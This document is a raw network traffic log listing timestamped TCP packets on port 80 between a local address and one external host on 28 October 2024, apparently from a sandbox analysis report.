Oct 28, 2024 19:46:23.283350945 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.283351898 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.283386946 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.283437014 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.283642054 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.283675909 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.283711910 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.283725977 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.283822060 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.283854008 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.283866882 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.283888102 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.283920050 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.283940077 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.283953905 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.283987045 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.283998013 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.284020901 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.284070015 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.488419056 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.495480061 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.495544910 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.495582104 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.495604038 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.495615005 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.495650053 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.495662928 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.495683908 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.495719910 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.495729923 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.495842934 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.495876074 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.495889902 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.495910883 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.495944977 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.495960951 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.496181011 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.496215105 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.496226072 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.496267080 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.496311903 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.496351957 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.496387005 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.496421099 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.496437073 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.496474028 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.496509075 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.496517897 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.496542931 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.496577024 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.496587992 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.496613979 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.496661901 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.497309923 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.497344971 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.497380018 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.497399092 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.497502089 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.497536898 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.497549057 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.497570038 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.497603893 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.497616053 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.497637987 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.497672081 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.497684956 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.497706890 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.497759104 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.497791052 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.497824907 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.497873068 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.497874022 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.498537064 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.498569965 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.498589039 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.498605013 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.498639107 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.498656988 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.498672962 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.498707056 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.498728037 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.498742104 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.498786926 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.498833895 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.498867989 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.498902082 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.498914957 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.498935938 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.498985052 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.499528885 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.499568939 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.499603033 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.499614954 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.499680996 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.499715090 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.499730110 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.499747992 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.499780893 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.499795914 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.499865055 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.499898911 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.499916077 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.499932051 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.499967098 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.499978065 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.500535011 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.500566959 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.500577927 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.500602007 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.500637054 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.500648022 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.500669956 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.500703096 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.500710011 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.500737906 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.500782967 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.501241922 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.501276970 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.501312971 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.501332045 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.501347065 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.501393080 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.585757017 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.591646910 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.591692924 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.591744900 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.591748953 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.591784954 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.591821909 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.591836929 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.591859102 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.591896057 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.591903925 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.591969013 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.592019081 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.592056990 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.592093945 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.592132092 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.592144966 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.592199087 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.592231989 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.592246056 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.592267990 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.592317104 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.592324018 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.592361927 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.592405081 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.592411995 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.592447996 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.592482090 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.592499018 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.593070030 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.593103886 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.593122959 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.593139887 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.593183994 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.593223095 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.593276024 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.593310118 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.593321085 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.593362093 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.593398094 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.593404055 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.593431950 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.593466997 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.593483925 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.593503952 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.593555927 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.593904018 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.593938112 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.593974113 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.593991995 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.594027042 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.594059944 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.594079971 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.594094038 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.594130993 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.594145060 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.594166040 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.594198942 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.594213963 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.594233990 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.594270945 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.594285965 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.594954967 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.595001936 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.595007896 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.595046043 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.595107079 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.595175028 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.595208883 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.595242977 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.595252991 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.595295906 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.595345020 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.595356941 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.595391989 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.595427036 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.595436096 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.595462084 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.595504999 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.595791101 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.595865965 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.595901012 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.595916986 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.596023083 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.596101999 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.596117020 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.596136093 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.596169949 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.596184015 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.596205950 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.596256971 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.596515894 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.596569061 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.596620083 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.596621990 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.596656084 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.596692085 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.596719027 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.596726894 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.596771002 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.596836090 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.596870899 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.596906900 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.596923113 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.596992970 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.597028017 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.597043037 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.597508907 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.597554922 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.597620010 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.597672939 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.597714901 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.597721100 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.597765923 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.597800016 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.597809076 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.597851992 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.597887039 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.597903013 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.597918987 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.597954988 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.597969055 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.597990036 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.598036051 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.598458052 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.598511934 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.598550081 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.598556995 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.598603010 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.598635912 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.598648071 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.598670959 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.598720074 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.598721981 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.598758936 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.598792076 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.598809004 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.598826885 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.598862886 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.598871946 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.599437952 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.599487066 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.599544048 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.599596977 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.599637032 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.599642038 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.599688053 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.599723101 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.599734068 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.599756956 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.599795103 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.599809885 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.599828959 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.599864006 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.599879026 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.599898100 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.599946976 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.600461006 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.600584030 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.600631952 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.600637913 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.600672960 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.600717068 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.600723982 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.600759029 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.600791931 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.600805998 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.600826979 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.600872993 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.601105928 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.601300001 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.601335049 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.601352930 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.601388931 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.601423979 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.601433039 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.601460934 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.601510048 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.601512909 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.601547956 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.601582050 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.601596117 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.601617098 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.601653099 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.601666927 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.602113962 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.602164030 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.602332115 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.602385044 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.602418900 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.602430105 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.602472067 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.602514982 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.602525949 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.602561951 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.602596045 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.602608919 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.602628946 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.602664948 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.602675915 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.602699041 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.602749109 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.603017092 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.603070021 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.603105068 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.603137016 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.603177071 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.603210926 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.603224039 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.603245020 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.603291035 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.603296995 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.603367090 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.603399992 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.603410959 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.603436947 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.603472948 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.603483915 CET	49726	80	192.168.2.16	166.1.160.211
